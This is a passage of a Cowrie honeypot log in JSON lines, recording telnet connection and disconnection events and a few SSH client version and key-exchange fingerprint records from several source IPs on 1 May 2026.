{"eventid":"cowrie.session.closed","duration":30.950052738189697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:20.089563Z","src_ip":"64.235.40.29","session":"251eb0b664fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47582,"dst_ip":"10.17.0.5","dst_port":23,"session":"c13b377a42b7","protocol":"telnet","message":"New connection: 64.235.40.29:47582 (10.17.0.5:23) [session: c13b377a42b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:20.106922Z"}
{"eventid":"cowrie.session.closed","duration":30.53138279914856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:20.138246Z","src_ip":"160.250.4.73","session":"f1a8534108b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47584,"dst_ip":"10.17.0.5","dst_port":23,"session":"40b325c7945a","protocol":"telnet","message":"New connection: 64.235.40.29:47584 (10.17.0.5:23) [session: 40b325c7945a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:20.174124Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47596,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6799898bf1e","protocol":"telnet","message":"New connection: 64.235.40.29:47596 (10.17.0.5:23) [session: e6799898bf1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:20.190214Z"}
{"eventid":"cowrie.session.closed","duration":30.49533462524414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:20.206249Z","src_ip":"160.250.4.73","session":"4f6114471e78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.875121593475342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:20.276084Z","src_ip":"64.235.40.29","session":"de67dcb6579a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48995590209961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:20.411813Z","src_ip":"104.207.153.205","session":"10afe9261815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47456455230713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:20.701108Z","src_ip":"64.235.40.29","session":"c0a08804dc45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47532367706299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:20.748012Z","src_ip":"160.250.4.73","session":"e978a59812b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01807475090027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:20.796254Z","src_ip":"64.235.40.29","session":"e1b20952ada2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.574896812438965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:20.805230Z","src_ip":"64.235.40.29","session":"6574bd01d533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35833430290222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:21.056109Z","src_ip":"64.235.40.29","session":"27d6012aa875","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89238739013672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:21.090426Z","src_ip":"104.207.153.205","session":"e6e77cfe1a22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47610,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d3097f956ad","protocol":"telnet","message":"New connection: 64.235.40.29:47610 (10.17.0.5:23) [session: 0d3097f956ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:21.316543Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":55822,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f98e8e53548","protocol":"telnet","message":"New connection: 216.22.21.200:55822 (10.17.0.5:23) [session: 0f98e8e53548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:21.454932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:21.554153Z","src_ip":"122.168.114.167","session":"18684c79af56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:21.558252Z","src_ip":"122.168.114.167","session":"18684c79af56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.584107398986816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:22.176403Z","src_ip":"64.235.40.29","session":"5f3be75c8b8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47606,"dst_ip":"10.17.0.5","dst_port":23,"session":"324e3e8f0b5d","protocol":"telnet","message":"New connection: 64.235.40.29:47606 (10.17.0.5:23) [session: 324e3e8f0b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:22.207153Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47624,"dst_ip":"10.17.0.5","dst_port":23,"session":"26a4d9afe503","protocol":"telnet","message":"New connection: 64.235.40.29:47624 (10.17.0.5:23) [session: 26a4d9afe503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:22.326685Z"}
{"eventid":"cowrie.session.closed","duration":31.640404224395752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:22.642967Z","src_ip":"64.235.40.29","session":"f5319f62fed3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":46306,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cab06fbb9a1","protocol":"telnet","message":"New connection: 104.207.153.205:46306 (10.17.0.5:23) [session: 1cab06fbb9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:22.778497Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":51812,"dst_ip":"10.17.0.5","dst_port":23,"session":"41670f4a1c5d","protocol":"telnet","message":"New connection: 195.154.29.177:51812 (10.17.0.5:23) [session: 41670f4a1c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:22.846457Z"}
{"eventid":"cowrie.session.closed","duration":31.12144899368286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:23.102279Z","src_ip":"64.235.40.29","session":"de10b6d3bac3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994654893875122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:23.116332Z","src_ip":"64.235.40.29","session":"6dbb97cc0a1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":60246,"dst_ip":"10.17.0.5","dst_port":23,"session":"d05de4b7e7f0","protocol":"telnet","message":"New connection: 160.250.4.73:60246 (10.17.0.5:23) [session: d05de4b7e7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:23.437750Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47658,"dst_ip":"10.17.0.5","dst_port":23,"session":"84291fa6b382","protocol":"telnet","message":"New connection: 64.235.40.29:47658 (10.17.0.5:23) [session: 84291fa6b382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:23.694324Z"}
{"eventid":"cowrie.session.closed","duration":31.233145713806152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:23.949609Z","src_ip":"64.235.40.29","session":"1daf60f5d2c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.163039922714233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:24.146613Z","src_ip":"160.250.4.73","session":"5f32dbe655c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.898977041244507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:24.232405Z","src_ip":"64.235.40.29","session":"866fab95d46a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47652,"dst_ip":"10.17.0.5","dst_port":23,"session":"14223e7ec546","protocol":"telnet","message":"New connection: 64.235.40.29:47652 (10.17.0.5:23) [session: 14223e7ec546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:24.396942Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47640,"dst_ip":"10.17.0.5","dst_port":23,"session":"9346a4ae87c4","protocol":"telnet","message":"New connection: 64.235.40.29:47640 (10.17.0.5:23) [session: 9346a4ae87c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:24.402807Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":59274,"dst_ip":"10.17.0.5","dst_port":23,"session":"5436af55059a","protocol":"telnet","message":"New connection: 216.22.21.200:59274 (10.17.0.5:23) [session: 5436af55059a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:24.444351Z"}
{"eventid":"cowrie.session.closed","duration":31.217320680618286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:24.614767Z","src_ip":"64.235.40.29","session":"ef4fbc583ac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":60262,"dst_ip":"10.17.0.5","dst_port":23,"session":"a57f3da3b82c","protocol":"telnet","message":"New connection: 160.250.4.73:60262 (10.17.0.5:23) [session: a57f3da3b82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:24.721035Z"}
{"eventid":"cowrie.session.closed","duration":31.630787134170532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:24.819507Z","src_ip":"104.207.153.205","session":"1d052692f6d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":35710,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f39dfc71030","protocol":"telnet","message":"New connection: 135.148.33.217:35710 (10.17.0.5:23) [session: 9f39dfc71030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:24.881014Z"}
{"eventid":"cowrie.session.closed","duration":30.58174729347229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:25.081047Z","src_ip":"64.235.40.29","session":"498daa77ae6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":36038,"dst_ip":"10.17.0.5","dst_port":23,"session":"752987a2c5f2","protocol":"telnet","message":"New connection: 135.148.33.217:36038 (10.17.0.5:23) [session: 752987a2c5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:25.115295Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57412,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a17bdeae0ea","protocol":"telnet","message":"New connection: 64.235.40.29:57412 (10.17.0.5:23) [session: 8a17bdeae0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:25.198949Z"}
{"eventid":"cowrie.session.closed","duration":30.57216453552246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:25.233388Z","src_ip":"64.235.40.29","session":"e1d133bb98cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57420,"dst_ip":"10.17.0.5","dst_port":23,"session":"959b8d19257e","protocol":"telnet","message":"New connection: 64.235.40.29:57420 (10.17.0.5:23) [session: 959b8d19257e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:25.398351Z"}
{"eventid":"cowrie.session.closed","duration":31.598487854003906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:25.863974Z","src_ip":"64.235.40.29","session":"65f4290ea7b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.234790325164795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:26.110775Z","src_ip":"64.235.40.29","session":"4e35235782f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":60268,"dst_ip":"10.17.0.5","dst_port":23,"session":"f52add983898","protocol":"telnet","message":"New connection: 160.250.4.73:60268 (10.17.0.5:23) [session: f52add983898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:26.116375Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57426,"dst_ip":"10.17.0.5","dst_port":23,"session":"00d54fbefd5d","protocol":"telnet","message":"New connection: 64.235.40.29:57426 (10.17.0.5:23) [session: 00d54fbefd5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:26.528916Z"}
{"eventid":"cowrie.session.closed","duration":31.102530479431152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:26.569092Z","src_ip":"160.250.4.73","session":"4ecfc0d9146b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57438,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a5286df7a6d","protocol":"telnet","message":"New connection: 64.235.40.29:57438 (10.17.0.5:23) [session: 2a5286df7a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:26.573928Z"}
{"eventid":"cowrie.session.closed","duration":31.408998489379883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:26.621695Z","src_ip":"195.154.29.177","session":"b881fd5ac82c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57446,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ec66e2afeec","protocol":"telnet","message":"New connection: 64.235.40.29:57446 (10.17.0.5:23) [session: 4ec66e2afeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:26.912959Z"}
{"eventid":"cowrie.session.closed","duration":31.67930245399475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:27.027376Z","src_ip":"64.235.40.29","session":"303f20aaa31c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.690932989120483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:27.042244Z","src_ip":"64.235.40.29","session":"1a1734525a05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.334430694580078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:27.050515Z","src_ip":"64.235.40.29","session":"aad69472bb50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57448,"dst_ip":"10.17.0.5","dst_port":23,"session":"589d85cc0b1d","protocol":"telnet","message":"New connection: 64.235.40.29:57448 (10.17.0.5:23) [session: 589d85cc0b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:27.134308Z"}
{"eventid":"cowrie.session.closed","duration":30.311828136444092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:27.250363Z","src_ip":"64.235.40.29","session":"fada7dcff0e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57450,"dst_ip":"10.17.0.5","dst_port":23,"session":"e45cbc33e6e3","protocol":"telnet","message":"New connection: 64.235.40.29:57450 (10.17.0.5:23) [session: e45cbc33e6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:27.310783Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":60282,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c54509713d0","protocol":"telnet","message":"New connection: 160.250.4.73:60282 (10.17.0.5:23) [session: 1c54509713d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:27.646165Z"}
{"eventid":"cowrie.session.closed","duration":31.657711267471313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:27.810180Z","src_ip":"64.235.40.29","session":"adbef76968d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.444098234176636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:28.032259Z","src_ip":"135.148.33.217","session":"2803e7d6abae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.660417318344116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:28.124668Z","src_ip":"64.235.40.29","session":"46396ccd8558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":39980,"dst_ip":"10.17.0.5","dst_port":23,"session":"33c5f3a26b38","protocol":"telnet","message":"New connection: 135.148.33.217:39980 (10.17.0.5:23) [session: 33c5f3a26b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:28.185101Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":60290,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1512760e8b1","protocol":"telnet","message":"New connection: 160.250.4.73:60290 (10.17.0.5:23) [session: c1512760e8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:28.655045Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57456,"dst_ip":"10.17.0.5","dst_port":23,"session":"60320363b535","protocol":"telnet","message":"New connection: 64.235.40.29:57456 (10.17.0.5:23) [session: 60320363b535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:28.735068Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":46508,"dst_ip":"10.17.0.5","dst_port":23,"session":"afa7bc45fc50","protocol":"telnet","message":"New connection: 195.154.29.177:46508 (10.17.0.5:23) [session: afa7bc45fc50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:28.921499Z"}
{"eventid":"cowrie.session.closed","duration":30.644111156463623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:29.012969Z","src_ip":"135.148.33.217","session":"f12d79067a41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.074486017227173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:29.104275Z","src_ip":"64.235.40.29","session":"ba04d86b4666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":36198,"dst_ip":"10.17.0.5","dst_port":23,"session":"b356153e4d44","protocol":"telnet","message":"New connection: 160.250.4.73:36198 (10.17.0.5:23) [session: b356153e4d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:29.690162Z"}
{"eventid":"cowrie.session.closed","duration":30.984107494354248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:30.217252Z","src_ip":"64.235.40.29","session":"b8933cca1a0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57454,"dst_ip":"10.17.0.5","dst_port":23,"session":"0df3527664d6","protocol":"telnet","message":"New connection: 64.235.40.29:57454 (10.17.0.5:23) [session: 0df3527664d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:30.413635Z"}
{"eventid":"cowrie.session.closed","duration":31.374616384506226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:30.643077Z","src_ip":"64.235.40.29","session":"e81193462d6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56802,"dst_ip":"159.203.135.109","dst_port":22,"session":"f63535f3225e","protocol":"ssh","message":"New connection: 159.203.92.129:56802 (159.203.135.109:22) [session: f63535f3225e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:30.738215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:30.743295Z","src_ip":"159.203.92.129","session":"f63535f3225e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh